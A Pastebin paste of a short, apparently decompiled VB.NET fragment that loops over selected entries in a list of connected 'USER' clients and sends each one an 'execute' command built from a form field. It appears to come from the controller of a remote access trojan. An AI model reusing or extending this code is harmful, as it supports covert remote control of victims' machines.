Advertisement
SecurityNajaf

3474

Jan 17th, 2014
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 0.80 KB | None | 0 0
  1.  If Operators.ConditionalCompareObjectNotEqual(form.Tag, "", False) Then
  2.                     Dim enumerator As IEnumerator
  3.                     Try
  4.                         enumerator = Me.Lv1.SelectedItems.GetEnumerator
  5.                         Do While enumerator.MoveNext
  6.                             Dim user As USER = DirectCast(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(enumerator.Current), Nothing, "tag", New Object(0 - 1) {}, Nothing, Nothing, Nothing), USER)
  7.                             Dim s As String = Conversions.ToString(Me.httpconvert(Conversions.ToString(Operators.ConcatenateObject(("execute" & Me.Y), form.Tag))))
  8.                             user.Send(s)
  9.                         Loop
  10.                     Finally
  11.                     End Try
  12.                 End If
  13.             End If
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement